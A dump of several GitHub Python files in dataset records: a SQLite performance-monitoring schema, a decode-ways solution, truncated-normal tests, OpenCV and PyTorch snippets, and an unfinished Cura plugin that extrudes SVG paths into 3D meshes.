TEXT, \" + \\\n \"cpu_identifier TEXT, \" + \\\n \"time TEXT, \" + \\\n \"user_pct REAL, sys_pct REAL, \" + \\\n \"wait_pct REAL, \" + \\\n \"irq_pct REAL, \" + \\\n \"idle_pct REAL, \" + \\\n \"total_pct REAL)\"\nRAM_TABLE = \"Ram\" \nRAM_SCHEMA = \"Ram(id INTEGER PRIMARY KEY AUTOINCREMENT, \" + \\\n \"host TEXT, \" + \\\n \"time TEXT, \" + \\\n \"used_kb REAL, \" + \\\n \"free_kb REAL, \" + \\\n \"swap_total REAL, \" + \\\n \"swap_used REAL, \" + \\\n \"swap_free REAL)\"\nDISK_TABLE = \"Disk\"\nDISK_SCHEMA = \"Disk(id INTEGER PRIMARY KEY AUTOINCREMENT, \" + \\\n \"host TEXT, \" + \\\n \"time TEXT, \" + \\\n \"disk_name TEXT, \" + \\\n \"reads_per_sec REAL, \" + \\\n \"reads_kbps REAL, \" + \\\n \"writes_per_sec REAL, \" + \\\n \"writes_kbps REAL)\"\n\ndef create_perf_db(filename):\n '''Creates the database to store performance monitoring results\n \n Input: filename to for the database. \":memory:\" is a special value\n indicating that the database should remain in memory only\n and not be written to disk\n \n Returns: a connection to the created database\n '''\n con = sql.connect(filename)\n \n con.execute(\"CREATE TABLE IF NOT EXISTS \" + NETWORK_SCHEMA + \";\")\n con.execute(\"CREATE TABLE IF NOT EXISTS \" + CPU_SCHEMA + \";\")\n con.execute(\"CREATE TABLE IF NOT EXISTS \" + RAM_SCHEMA + \";\")\n con.execute(\"CREATE TABLE IF NOT EXISTS \" + DISK_SCHEMA + \";\")\n \n con.commit()\n \n return con\n\ndef insert_network(con, time, direction, payload_size, protocol, commit=True):\n '''Inserts a row into the network table in the performance database.\n \n Inputs:\n con: a connection to the database: squlite3 connection\n time: time in the form of seconds since the epoch: float\n direction: the direction of traffic (\"client_to_server, etc): string\n payload_size: number of bytes in the payload: integer\n protocol: the network protocol (\"IP/TCP\", etc): string\n commit (optional): whether or not to commit the insertion to disk (default=True)\n '''\n con.execute(\"INSERT INTO \" + NETWORK_TABLE + \" Values(Null,?,?,?,?);\", \n (epoch_to_sql(time), direction, payload_size, protocol))\n if (commit):\n con.commit()\n return con\n \ndef insert_cpu(con, host, identifier, time, user_pct, \n sys_pct, wait_pct, irq_pct, idle_pct, total_pct, commit=True):\n '''Inserts a row into the cpu table in the performance database.\n \n Inputs:\n con: a connection to the database: squlite3 connection\n host: hostname (\"server\"): string\n identifier: cpu identifier (\"cpu 1\"): string\n time: time in the form of seconds since the epoch: float\n user_pct: percentage of time spent on userland processes \n sys_pct: percentage of time spent on system processes\n wait_pct: percentage of time spent waiting on I/O\n irq_pct: percentage of time spent processing interrupts\n idle_pct: percentage of time spent idle\n total_pct: percentage of time spent on (user+sys) processes\n commit (optional): whether or not to commit the insertion to disk (default=True)\n '''\n con.execute(\"INSERT INTO \" +CPU_TABLE+ \" Values(Null,?,?,?,?,?,?,?,?,?);\",\n (host, identifier, epoch_to_sql(time), user_pct, \n sys_pct, wait_pct, irq_pct, idle_pct, total_pct))\n if (commit):\n con.commit()\n return con\n\ndef insert_ram(con, host, time, used_kb, free_kb, \n swap_total, swap_used, swap_free, commit=True):\n '''Inserts a row into the ram table in the performance database.\n \n Inputs:\n con: a connection to the database: squlite3 connection\n host: hostname (\"server\"): string\n time: time in the form of seconds since the epoch: float\n used_kb: amount of memory used: float\n free_kb: amount of free memory: float\n swap_total: amount of swap allocated by the system: float\n swap_used: amount of swap in use: float\n swap_free: amount of available swap: float\n commit (optional): whether or not to commit the insertion to disk (default=True)\n '''\n con.execute(\"INSERT INTO \" + RAM_TABLE + \" Values(Null,?,?,?,?,?,?,?);\", \n (host, epoch_to_sql(time), used_kb, free_kb, \n swap_total, swap_used, swap_free))\n if (commit):\n con.commit()\n return con\n\ndef insert_disk(con, host, time, disk_name, reads_per_sec, \n reads_kbps, writes_per_sec, writes_kbps, commit=True):\n '''Inserts a row into the disk table in the performance database.\n \n Inputs:\n con: a connection to the database: squlite3 connection\n host: hostname (\"server\"): string\n time: time in the form of seconds since the epoch: float\n disk_name: name of the disk (\"/dev/sda\"): string\n reads_per_sec: number of reads per second: float\n reads_kbps: amount of data read in kbps: float\n writes_per_sec: number of writes per second: float\n writes_kbps: amount of data written in kbps: float\n commit (optional): whether or not to commit the insertion to disk (default=True)\n '''\n con.execute(\"INSERT INTO \" + DISK_TABLE + \" Values(Null, ?,?,?,?,?,?,?);\", \n (host, epoch_to_sql(time), disk_name, reads_per_sec, \n reads_kbps, writes_per_sec, writes_kbps))\n if (commit):\n con.commit()\n return con\n","repo_name":"mit-ll/SPARTA","sub_path":"spar_python/perf_monitoring/perf_db.py","file_name":"perf_db.py","file_ext":"py","file_size_in_byte":5780,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"27"} +{"seq_id":"7902273656","text":"\"\"\"\nProblem Description\n\nA message containing letters from A-Z is being encoded to numbers using the following mapping:\n\n 'A' -> 1\n 'B' -> 2\n ...\n 'Z' -> 26\n\nGiven an encoded message A containing digits, determine the total number of ways to decode it modulo 109 + 7.\n\"\"\"\n\nclass Solution:\n\n def __init__(self):\n super(Solution, self).__init__()\n self.dp = {}\n\n # @param A : string\n # @return an integer\n def numDecodings(self, encoded):\n if encoded == '0':\n return 0\n if len(encoded) < 2:\n return len(encoded)\n dp = [0] * len(encoded) + [1]\n dp[-2] = self.get_count(encoded[-1])\n for i in range(len(encoded)-2, -1, -1):\n ones_count = 0\n if encoded[i] != '0':\n ones_count = dp[i+1]\n twos_count = 0\n if 10 <= int(encoded[i:i+2]) <= 26:\n twos_count = dp[i+2]\n dp[i] = ones_count + twos_count\n return dp[0] % (10**9 + 7)\n\n def get_count(self, char):\n return 1 if char != '0' else 0\n\n\n\n","repo_name":"JadielTeofilo/General-Algorithms","sub_path":"src/interviewbit/dp/ways_to_decode.py","file_name":"ways_to_decode.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"22398877514","text":"\"\"\"\nTest the class for Truncated Normal draws and expectations in truncated_normal.py.\n\"\"\"\n\nimport sys, os\nproject_location = os.path.dirname(__file__)+\"/../../../\"\nsys.path.append(project_location)\n\nfrom BNMTF.code.models.distributions.truncated_normal import TN_draw, TN_expectation, TN_variance, TN_mode\nfrom scipy.stats import norm\nimport numpy\n\ndef test_expectation():\n mu = 1.0\n tau = 3.0\n sigma = 0.5773502691896258\n \n lambdav = ( norm.pdf( - mu / sigma ) ) / ( 1 - norm.cdf( - mu / sigma ) )\n expectation = mu + sigma * lambdav\n assert TN_expectation(mu,tau) == expectation\n \n # Also test that we get variance and exp of an Exp if mu is less than -30*sigma\n mu = -1.\n tau = 2000.\n assert TN_expectation(mu,tau) == 1./2000.\n \n \ndef test_variance():\n mu = 1.0\n tau = 3.0\n sigma = 0.5773502691896258\n \n lambdav = ( norm.pdf( - mu / sigma ) ) / ( 1 - norm.cdf( - mu / sigma ) )\n variance = sigma**2 * ( 1 - ( lambdav * ( lambdav + mu / sigma ) ) )\n assert TN_variance(mu,tau) == variance\n\n # Also test that we get variance and exp of an Exp if mu is less than -30*sigma\n mu = -1.\n tau = 2000.\n assert TN_variance(mu,tau) == (1./2000.)**2\n \n# Test a draw - simply verify it is > 0.\n# Also test whether we get inf for a very negative mean and high variance\ndef test_draw():\n mu = 1.0\n tau = 3.0\n for i in range(0,100):\n assert TN_draw(mu,tau) >= 0.0\n \n # Test everything is handled when tau = 0 - then draws should be inf, and hence return 0.0 \n mu = 0.32\n tau = 0.0\n for i in range(0,100):\n assert TN_draw(mu,tau) == 0.0\n \n# Test the mode\ndef test_mode():\n # Positive mean\n mu = 1.0\n assert TN_mode(mu) == mu\n \n # Negative mean\n mu = -2.0\n assert TN_mode(mu) == 0.","repo_name":"ThomasBrouwer/BNMTF","sub_path":"tests/code/distributions/test_truncated_normal.py","file_name":"test_truncated_normal.py","file_ext":"py","file_size_in_byte":1812,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"27"} +{"seq_id":"21367039062","text":"import cv2\nimport numpy as np\n\nimg = cv2.imread('LanPixelized.jpg')\ncv2.imshow('img',img) #Showing original image\ncv2.waitKey(0)\n\nheight, width = img.shape[:2]\nres = cv2.resize(img,(3*width, 3*height), interpolation = cv2.INTER_CUBIC)\ncv2.imshow('img',res) # Showing scaled image (3x times)\ncv2.waitKey(0)\n\nimg = cv2.imread('LanPixelized.jpg',0)\nrows,cols = img.shape\n\nM = np.float32([[1,0,100],[0,1,50]])\ndst = cv2.warpAffine(img,M,(cols,rows))\n\ncv2.imshow('img',dst) # Showing displaced image\ncv2.waitKey(0)\n\nM = cv2.getRotationMatrix2D((cols/2,rows/2),90,1)\ndst = cv2.warpAffine(img,M,(cols,rows))\n\ncv2.imshow('img',dst) # Showing rotated image\ncv2.waitKey(0)\n\ncv2.destroyAllWindows()","repo_name":"john-mathew/Perfit-Onboarding","sub_path":"Python/transformations.py","file_name":"transformations.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"71843047753","text":"from __future__ import division\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nimport pdb\n\nclass SmallNet(nn.Module):\n def __init__(self, img_size = 512):\n super(SmallNet, self).__init__()\n\n self.img_size = img_size\n\n self.conv1 = nn.Conv2d(3,16,7,1,3)\n self.pool2 = nn.MaxPool2d(4,4)\n self.conv2 = nn.Conv2d(16,1,15,1,7)\n self.pool4 = nn.MaxPool2d(8,8)\n\n self.ln1 = nn.Linear(img_size // 32 * img_size // 32 + 3, 16)\n self.ln2 = nn.Linear(16, 2)\n def forward(self, x, oth):\n x = self.conv1(x)\n x = F.relu(x)\n x = self.pool2(x)\n\n x = self.conv2(x)\n x = F.relu(x)\n x = self.pool4(x)\n\n x = x.view(-1, self.img_size // 32 * self.img_size // 32)\n x = torch.cat((x, oth), 1)\n\n x = self.ln1(x)\n x = F.relu(x)\n x = self.ln2(x)\n x = F.log_softmax(x, dim=1)\n return x\n","repo_name":"mkln0/MCM","sub_path":"smodule.py","file_name":"smodule.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"7001158807","text":"from UM.Application import Application #传递给父构造函数。\nfrom UM.Mesh.MeshBuilder import MeshBuilder #在场景中创建一个网格\nfrom UM.Mesh.MeshReader import MeshReader #这是我们需要实现的插件对象，如果我们想要创建网格。否则从FileReader扩展。\nfrom UM.Math.Vector import Vector #网格生成器所需的助手类。\nfrom UM.Math.Matrix import Matrix\nfrom UM.Scene.SceneNode import SceneNode #阅读时必须返回结果。\nfrom UM.Job import Job\nfrom UM.Logger import Logger\nfrom PyQt5.QtCore import QUrl\nfrom .VectorReaderUI import VectorReaderUI\nfrom .CDTUI import CDTUI\nfrom .SVGjob import ProcessSVGJob\nfrom UM.Message import Message\nfrom UM.Application import Application\nfrom UM.i18n import i18nCatalog\nimport UM.Math.Color as Color\n#from cura.Vector_polygon import SBSBSBS\n\nimport svg\nfrom .import polygon\nfrom .triangulate import *\n#import delaunay as DT\n#from .Point import * #为了点计算\nfrom . import Centerline\nimport pyclipper #为了点链表的计算 交叉并集等\nfrom matplotlib.tri import triangulation\nfrom scipy.spatial import ConvexHull\nfrom scipy.spatial import Voronoi,Delaunay\nfrom shapely.geometry import LineString\nfrom shapely.geometry import MultiLineString\ni18n_catalog = i18nCatalog('cura')\nimport matplotlib.pyplot as plt #TODO:用作测试的 后期得删掉\nimport matplotlib.tri as tri\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom p3t import CDT,Point3\nimport math\nimport numpy as np\nimport time\n\ndef load_points(file_name):\n infile = open(file_name, \"r\")\n points = []\n while infile:\n line = infile.readline()\n line = line.replace(\"[\", \"\")\n line = line.replace(\"]\", \"\")\n line = line.replace(\"\\n\", \"\")\n # ss = list_to_string(line)\n #ss = list(line)\n s = line.split(',')\n #print(\"SB:\",s,len(s))\n if len(s) <= 2:\n break\n try:\n points.append([float(s[0]), float(s[1]), float(s[2])])\n except ValueError :\n print(\"ss\")\n return points\n\n_subdivision = 0.5 #细分问题\nEPSILON = 0.000001\nclass SVGFileReader(MeshReader):\n\n def __init__(self):\n super().__init__()\n self._supported_extensions = [\".svg\"] #抱歉，你还必须在这里指定它。\n self._ui = VectorReaderUI(self)\n self._Cdt = CDTUI(self)\n self._paths = None\n self._start_SvG_job = ProcessSVGJob(None,None)\n #self._Points = None\n self.poly_count = 0 #多边形个数 用了判断可不可以拆分--> 应该吧计算出来的东西放在一个结构里面 而不是直接这么用\n\n\n def Show(self,path,name,arg):\n plt.title(name)\n\n x = []\n y = []\n index = 0\n if arg > 1:\n for point_s in path:\n for point in point_s:\n if index == 0 or index == len(point_s) - 1:\n plt.annotate('Start', xy=(point[0], point[1]), xytext=(point[0]+3, point[1]+1.5),\n arrowprops=dict(facecolor='black', shrink=0.05),\n )\n #print(\"point:\",point)\n index += 1\n x.append(point[0])\n y.append(point[1])\n else:\n for point_s in path:\n if index == 0 or index == len(path) - 1:\n plt.annotate('Start', xy=(point_s[0], point_s[1]), xytext=(point_s[0] + 3, point_s[1] + 1.5),\n arrowprops=dict(facecolor='black', shrink=0.05),\n )\n print(\"point:\", point_s)\n index += 1\n x.append(point_s[0])\n y.append(point_s[1])\n\n plt.plot(x, y, 'r--')\n plt.xlabel('x')\n plt.ylabel('y')\n plt.axis('equal')\n #plt.show()\n #plt.close()\n\n def preRead(self, file_name, *args, **kwargs):\n self._paths = None\n svg_file = 0\n if file_name.endswith('.svg'):\n svg_file = svg.parse(file_name) # 打开并解析svg文件\n #TODO:这里应该有一个判空\n #self._paths = self._vu.readSvg(file_name)\n svg_file.scale(25.4/96) #我们计算出来的是像素点需要转换成mm\n print(\"bbox:\",svg_file.bbox())\n svg_segments = svg_file.flatten()\n self._paths = []\n #self._Points = []\n #v = Vector\n #Point_s = []\n def MM2Int(a):\n return (a*1)\n #poly_count = 0 #多边形个数 用了判断可不可以拆分\n for d in svg_segments:\n if hasattr(d, 'segments'):\n for l in d.segments(1):\n x, y = l[0].coord()\n print(\"move:(%f,%f)\" % (x, y))\n #hull_poins1 = [Vector(x=x, y=y, z=0)]\n hull_poins1 = [[x,y]]\n # Point_s = [[MM2Int(x), MM2Int(y)]]\n self.poly_count += 1 #多边形个数 用了判断可不可以拆分\n for pt in l[1:]:\n x, y = pt.coord()\n #hull_poins1.append(Vector(x=x, y=y, z=0))\n hull_poins1.append([x,y])\n #Point_s.append([MM2Int(x), MM2Int(y)])\n hull_poins1.append(hull_poins1[0])\n self._paths.append(hull_poins1)\n #self._Points.append(Point_s)\n #self._Points.append(point_list)\n else:\n Logger.log('e', \"Unsupported SVG element\")\n #print(\"Unsupported SVG element\")\n\n\n if not self._paths:\n Logger.log('e', \"Conn't load paths.\")\n return MeshReader.PreReadResult.failed\n #Point_s = expand_polygon(reult)\n # self.Show(self._Points,\"SB\",1)\n # i = 0\n # name = \"./output\" + svg_file.title() + \".txt\"\n # f = open(name, 'w')\n # for point_s in self._paths:\n # index = len(point_s)\n # f.write(str(index)+\"\\n\")\n # #for point_s in self._paths:\n # for point in point_s:\n # f.write(str(point)+\"\\n\")\n #\n # i += 1\n # f.close()\n\n start = time.clock()\n\n print((\"Poly-Triangulierung: %.2fs\" % (time.clock() - start)))\n\n self._ui.showConfigUI()\n self._ui.waitForUIToClose()\n if self._ui.getCancelled():\n return MeshReader.PreReadResult.cancelled\n #self._start_SvG_job.start()\n return MeshReader.PreReadResult.accepted\n\n\n def read(self, file_name):\n return self._generateSceneNode(\n file_name, self._ui.getOffset(), self._ui.peak_height,\n self._ui._slopeHeight, self._ui.closeTopButtonFace,\n self._ui.reversePathToration, self._ui.splitWord)\n\n\n ## 创建场景节点\n # \\param file_name 打开的文件的名字\n # \\param offset, 偏移的角度\n # \\param peak_height, 模型的高度\n # \\param slopeHeight, 斜坡的高度\n # \\param closeTopButtonFace, 是否生成一个封闭的顶底\n # \\param reversePathToration, 反转路径\n # \\param splitWord, 拆分模型\n # \\return success\n def _generateSceneNode(self, file_name, offset, peak_height, slopeHeight,\n closeTopButtonFace, reversePathToration, splitWord):\n Job.yieldThread()\n if not splitWord:\n scene_node = SceneNode()\n mesh = MeshBuilder()\n else:\n scene_node = []\n self.Show(self._paths, \"_paths\", 2)\n areaTop = 0\n areaBottom = 0\n pathDetectNotEqual = False #路径检测不相等\n #TODO:#创建一个转换矩阵，从3mf世界空间转换为我们的。\n #第一步:翻转y轴和z轴。\n transformation_matrix = Matrix()\n print(\"Matrix:\",transformation_matrix)\n\n range_s = 0\n #i\n transformation_matrix._data[1, 1] = math.sin(math.radians(range_s))\n transformation_matrix._data[1, 2] = math.cos(math.radians(range_s))\n #j\n transformation_matrix._data[2, 1] = math.sin(math.radians(range_s+90))\n transformation_matrix._data[2, 2] = math.cos(math.radians(range_s+90))\n \"\"\"\n [[1. 0. 0. 0.]\n [0. 1. 0. 0.]\n [0. 0. 1. 0.]\n [0. 0. 0. 1.]]\n \"\"\"\n\n #TODO:WALL\n for poins in self._paths:\n if splitWord:\n mesh = MeshBuilder()\n indx = 0\n while indx < len(poins) -1:\n #print(\"Ver:\",poins[indx])\n a = Vector(x=poins[indx][0], y=poins[indx][1], z=0).multiply(transformation_matrix)\n b = Vector(x=poins[indx][0], y=poins[indx][1], z=peak_height - slopeHeight).multiply(transformation_matrix)\n c = Vector(poins[indx+1][0],poins[indx+1][1],0).multiply(transformation_matrix)\n #build_list.append(poins[indx],poins[indx])\n #mesh.addFace(a,b,c)\n mesh.addFaceByPoints(a.x,a.y,a.z, b.x,b.y,b.z, c.x,c.y,c.z)\n #下一个面\n b1 = Vector(x=poins[indx+1][0], y=poins[indx+1][1], z=peak_height - slopeHeight).multiply(transformation_matrix)\n #mesh.addFace(c, b1, b)\n mesh.addFaceByPoints(c.x, c.y, c.z, b1.x, b1.y,b1.z, b.x, b.y, b.z)\n indx += 1\n #TODO：有偏移的时候\n \"\"\"若已知边为斜边c\n a=c*sinA（A为已知角）\n b=c*cosA\n 若已知边为已知角的对边a\n 斜边c=a/sinA\n 另一直角边b=a/tanA=a*cotA\n 若已知边为已知角的邻边b\n 斜边c=b/cosA\n 另一直角边a=b*tanA\"\"\"\n if offset != 0 and slopeHeight >0:\n #angle = offset*(math.pi/180)\n #实际偏移\n offset_set = slopeHeight / math.tan(math.radians(offset))\n #TODO：当前可以被细分到多小\n offset_count = offset_set/_subdivision\n curr_height = peak_height - slopeHeight\n paths = []\n for p in self._paths:\n paths += p\n\n line_path = LineString(paths)\n polygon = line_path.buffer(0.001)\n path = list(np.asarray(polygon.interiors[0]))\n for p in range(len(path)):\n path[p] = np.append(path[p],curr_height)\n Vector_polygon = []\n Vector_polygon.append(path)\n height_subdivsion = slopeHeight / offset_count\n #\n # self._Cdt.showConfigUI()\n # self._Cdt.waitForUIToClose()\n # if self._Cdt.getCancelled():\n # return MeshReader.PreReadResult.cancelled\n #\n # Vector_polygon_SBSBSBSB = load_points(\"./Vector_SBA1.txt\")\n # index = 3\n # while index < len(Vector_polygon_SBSBSBSB):\n # v0 = Vector(x=Vector_polygon_SBSBSBSB[index - 3][0], y=Vector_polygon_SBSBSBSB[index - 3][1],\n # z = Vector_polygon_SBSBSBSB[index - 3][2])#.multiply(transformation_matrix)\n # v1 = Vector(x=Vector_polygon_SBSBSBSB[index - 2][0], y=Vector_polygon_SBSBSBSB[index - 2][1],\n # z=Vector_polygon_SBSBSBSB[index - 2][2])#.multiply(transformation_matrix)\n # v2 = Vector(x=Vector_polygon_SBSBSBSB[index - 1][0], y=Vector_polygon_SBSBSBSB[index - 1][1],\n # z=Vector_polygon_SBSBSBSB[index - 1][2])#.multiply(transformation_matrix)\n # mesh.addFace(v0, v1, v2)\n # index += 3\n\n for index_ in range(1, int(offset_count)+1):\n polygon1 = line_path.buffer(index_*_subdivision)\n curr_height = curr_height + height_subdivsion\n if len(polygon1.interiors) < 1:\n continue\n path1 = list(np.asarray(polygon1.interiors[0]))\n for p in range(len(path1)):\n path1[p] = np.append(path1[p], curr_height)\n Vector_polygon.append(path1)\n polyLine = []\n for p in Vector_polygon[0]:\n polyLine.append(Point3(p[0],p[1],p[2]))\n for index_ in range(1, len(Vector_polygon)):\n self._start_SvG_job.setPolyLine(polyLine)\n\n #cdt = CDT(polyLine)\n hole_polyLine = []\n for p in Vector_polygon[index_]:\n hole_polyLine.append(Point3(p[0], p[1], 10))\n self._start_SvG_job.setHole_polyLine(hole_polyLine)\n self._start_SvG_job.start()\n triangles = self._start_SvG_job.getTriangles()\n print (\"sss\",triangles,len(triangles))\n #triangles = SBSBSBS(polyLine,hole_polyLine)\n #triangles = cdt.triangulate()\n polyLine = hole_polyLine\n # # 创建 3D 图形对象\n # fig = plt.figure()\n # ax = Axes3D(fig)\n # for t in triangles:\n # p0 = [t.a.x, t.a.y, t.a.z]\n # p1 = [t.b.x, t.b.y, t.b.z]\n # p2 = [t.c.x, t.c.y, t.c.z]\n # x = [t.a.x, t.b.x, t.c.x, t.a.x]\n # y = [t.a.y, t.b.y, t.c.y, t.a.y]\n # z = [t.a.z, t.b.z, t.c.z, t.a.z]\n # # 绘制线型图\n # ax.plot(x, y, z)\n #\n # # 显示图\n # plt.show()\n # cdt = CDT(polyLine)\n # for index_ in range(1, len(Vector_polygon)):\n # hole_polyLine = []\n # for p in Vector_polygon[index_]:\n # hole_polyLine.append(Point3(p[0],p[1],p[2]))\n # Job.yieldThread()\n #\n # Job.yieldThread()\n # if hole_polyLine:\n # cdt.add_hole(hole_polyLine)\n # Job.yieldThread()\n # triangle = cdt.triangulate()\n # print(\"\"\"SBSBBSBSBS\"\"\")\n # tmap_vertices = []\n # for temp_poly in Vector_polygon:\n # tmap_vertices.extend(temp_poly)\n\n _matrix = Matrix()\n print(\"Matrix:\", _matrix)\n\n #TODO:吧所有多边形依次相加因为我打算排序\n self.Show(Vector_polygon, \"Vector_polygon\", 2)\n tmap_vertices = []\n for temp_poly in Vector_polygon:\n tmap_vertices.extend(temp_poly)\n max_x = max(tmap_vertices, key=lambda x: x[0])\n max_y = max(tmap_vertices, key=lambda x: x[1])\n max_z = max(tmap_vertices, key=lambda x: x[2])\n min_x = min(tmap_vertices, key=lambda x: x[0])\n min_y = min(tmap_vertices, key=lambda x: x[1])\n min_z = min(tmap_vertices, key=lambda x: x[2])\n\n xs = [x[0] for x in tmap_vertices]\n ys = [x[1] for x in tmap_vertices]\n zs = [x[2] for x in tmap_vertices]\n # num_faces = len(tmap_vertices) // 3\n # num_verts = len(tmap_vertices)\n # self.reserveFaceAndVertexCount(num_faces,num_verts)\n # self.addFace(tmap_vertices,True)\n # # # 创建 3D 图形对象\n # fig = plt.figure()\n # ax = Axes3D(fig)\n # # 绘制线型图\n # ax.plot(xs, ys, zs)\n # # 显示图\n # plt.show()\n range_s = offset\n # i\n _matrix._data[1, 1] = math.sin(math.radians(range_s))\n _matrix._data[1, 2] = math.cos(math.radians(range_s))\n # j\n _matrix._data[2, 1] = math.sin(math.radians(range_s + 90))\n _matrix._data[2, 2] = math.cos(math.radians(range_s + 90))\n\n \"\"\"它可以用来判断点在直线的某侧。进而可以解决点是否在三角形内，两个矩形是否重叠等问题。\n 向量的叉积的模表示这两个向量围成的平行四边形的面积。 \n 设矢量P = ( x1, y1 )，Q = ( x2, y2 )，则矢量叉积定义为由(0,0)、p1、p2和p1+p2所组成的平行四边形的带符号的面积，\n 即：P×Q = x1*y2 - x2*y1，其结果是一个伪矢量。 \n 显然有性质 P × Q = - ( Q × P ) 和 P × ( - Q ) = - ( P × Q )。 \n 叉积的一个非常重要性质是可以通过它的符号判断两矢量相互之间的顺逆时针关系： \n 若 P × Q > 0 , 则P在Q的顺时针方向。 \n 若 P × Q < 0 , 则P在Q的逆时针方向。 \n 若 P × Q = 0 , 则P与Q共线，但可能同向也可能反向。 \n 叉积的方向与进行叉积的两个向量都垂直，所以叉积向量即为这两个向量构成平面的法向量。 \n 如果向量叉积为零向量，那么这两个向量是平行关系。 \n \n 因为向量叉积是这两个向量平面的法向量，如果两个向量平行无法形成一个平面，其对应也没有平面法向量。所以，两个向量平行时，其向量叉积为零。\n \"\"\"\n # 创建一个三角;Delaunay三角剖分法没有创建三角形。\n if closeTopButtonFace:\n #TODO:上下底\n tri = []\n plist = self._paths[0][::-1] if IsClockwise(self._paths[0]) else self._paths[0][:]\n while len(plist) >= 3:\n a ,b= GetEar(plist)\n if a == []:\n break\n tri.append(a)\n plist = numpy.delete(plist, b, axis=0)\n ppp = []\n for tt in tri:\n for p in tt:\n ppp.append(p)\n v0 = Vector(x=tt[0][0], y=tt[0][1], z=0).multiply(transformation_matrix)\n v1 = Vector(x=tt[1][0], y=tt[1][1], z=0).multiply(transformation_matrix)\n v2 = Vector(x=tt[2][0], y=tt[2][1], z=0).multiply(transformation_matrix)\n mesh.addFace(v0,v1,v2)\n v0 = Vector(x=tt[0][0], y=tt[0][1], z=peak_height - slopeHeight).multiply(transformation_matrix)\n v1 = Vector(x=tt[1][0], y=tt[1][1], z=peak_height - slopeHeight).multiply(transformation_matrix)\n v2 = Vector(x=tt[2][0], y=tt[2][1], z=peak_height - slopeHeight).multiply(transformation_matrix)\n mesh.addFace(v0,v1,v2)\n\n\n\n #TODO:计算面积\n for i in range(len(self._paths)):\n areaTop += abs(pyclipper.Area(self._paths[i]))#TODO:面积\n areaBottom += abs(pyclipper.Area(self._paths[i]))\n # TODO:Bottom\n\n #TODO:要记得高开\n if closeTopButtonFace:\n if pathDetectNotEqual:\n m = Message(i18n_catalog.i18nc(\n '@info:status',\n 'Top/Buttom area :{} mm² ,{} mm²\\n There may be broken, please reduce the offset',\n round(areaTop, 2), round(areaBottom, 2)),\n lifetime=0)\n else:\n m = Message(i18n_catalog.i18nc(\n '@info:status',\n 'Top/Buttom area :{} mm² ,{} mm²', round(\n areaTop, 2), round(areaBottom, 2)),\n lifetime=0)\n m.addAction('regenerate', i18n_catalog.i18nc('@action:button',\n 'regenerate'),\n 'regenerate', i18n_catalog.i18nc('@info:tooltip',\n 'Regenerating model'))\n m._filename = file_name\n m.actionTriggered.connect(self._onMessageActionTriggered)\n m.show()\n\n mesh.calculateNormals()\n\n # 将网格放到场景节点中。\n #result_node = SceneNode()\n scene_node.setMeshData(mesh.build())\n\n\n #scene_node.setMirror(transformation_matrix)\n scene_node.setName(file_name) # Ty举例来说，网格起源的文件名是节点的好名字。\n return scene_node\n\n def _onMessageActionTriggered(self, message, action):\n if action == 'regenerate' and hasattr(message, '_filename'):\n Application.getInstance().deleteAll()\n Application.getInstance().readLocalFile(\n QUrl.fromLocalFile(message._filename))\n message.hide()\n\n return (None, )\n\n\n\n\n\n # 任意多边形三角剖分。\n # 不假定凸性，也不检查文件中的“凸”标志。\n # 采用“切耳”算法工作:\n # - 找到一个外部顶点，它的角度最小，相邻三角形内没有顶点\n # - 去掉那个顶点的三角形\n # - 重复,直到完成\n # 顶点坐标应该已经设置好了\n def addFace(self, indices, ccw):\n # 将索引解析为坐标，以便更快地进行数学运算\n face = [Vector(data=self.verts[0:3, i]) for i in indices]\n\n # 需要一个平面的法线这样我们就能知道哪些顶点构成内角\n normal = findOuterNormal(face)\n\n if not normal: # 可能找不到外边，非平面多边形?\n return\n\n # 找到内角最小且内无点的顶点，将其截断，重复直至完成\n n = len(face)\n vi = [i for i in range(n)] # 我们将用它来从表面踢顶点\n while n > 3:\n max_cos = EPSILON # 我们不需要检查角度\n i_min = 0 # max cos对应的是最小角\n for i in range(n):\n inext = (i + 1) % n\n iprev = (i + n - 1) % n\n v = face[vi[i]]\n next = face[vi[inext]] - v\n prev = face[vi[iprev]] - v\n nextXprev = next.cross(prev)\n if nextXprev.dot(normal) > EPSILON: # 如果是内角\n cos = next.dot(prev) / (next.length() * prev.length())\n if cos > max_cos:\n # 检查三角形中是否有顶点\n no_points_inside = True\n for j in range(n):\n if j != i and j != iprev and j != inext:\n vx = face[vi[j]] - v\n if pointInsideTriangle(vx, next, prev, nextXprev):\n no_points_inside = False\n break\n\n if no_points_inside:\n max_cos = cos\n i_min = i\n\n self.addTriFlip(indices[vi[(i_min + n - 1) % n]], indices[vi[i_min]], indices[vi[(i_min + 1) % n]], ccw)\n vi.pop(i_min)\n n -= 1\n self.addTriFlip(indices[vi[0]], indices[vi[1]], indices[vi[2]], ccw)\n\n # Indices are 0-based for this shape, but they won't be zero-based in the merged mesh\n #这个形状的索引是基于0的，但是在合并后的网格中它们不是基于0的\n def addTri(self, a, b, c):\n if self.num_faces == 106:\n print(\"ds\")\n self.faces[self.num_faces, 0] = a\n self.faces[self.num_faces, 1] = b\n self.faces[self.num_faces, 2] = c\n self.num_faces += 1\n\n def addTriFlip(self, a, b, c, ccw):\n if ccw:\n self.addTri(a, b, c)\n else:\n self.addTri(b, a, c)\n def reserveFaceAndVertexCount(self, num_faces, num_verts):\n # 与Cura MeshBuilder不同，我们使用存储为列的4个向量来进行更简单的转换\n self.verts = numpy.zeros((4, num_verts), dtype=numpy.float32)\n self.verts[3,:] = numpy.ones((num_verts), dtype=numpy.float32)\n self.num_verts = 0\n self.reserveFaceCount(num_faces)\n def reserveFaceCount(self, num_faces):\n self.faces = numpy.zeros((num_faces, 3), dtype=numpy.int32)\n self.num_faces = 0\n def addVertex(self, x, y, z):\n if self.num_verts == 314:\n print(\"sd\")\n self.verts[0, self.num_verts] = x\n self.verts[1, self.num_verts] = y\n self.verts[2, self.num_verts] = z\n self.num_verts += 1\n\n# Given a face as a sequence of vectors, 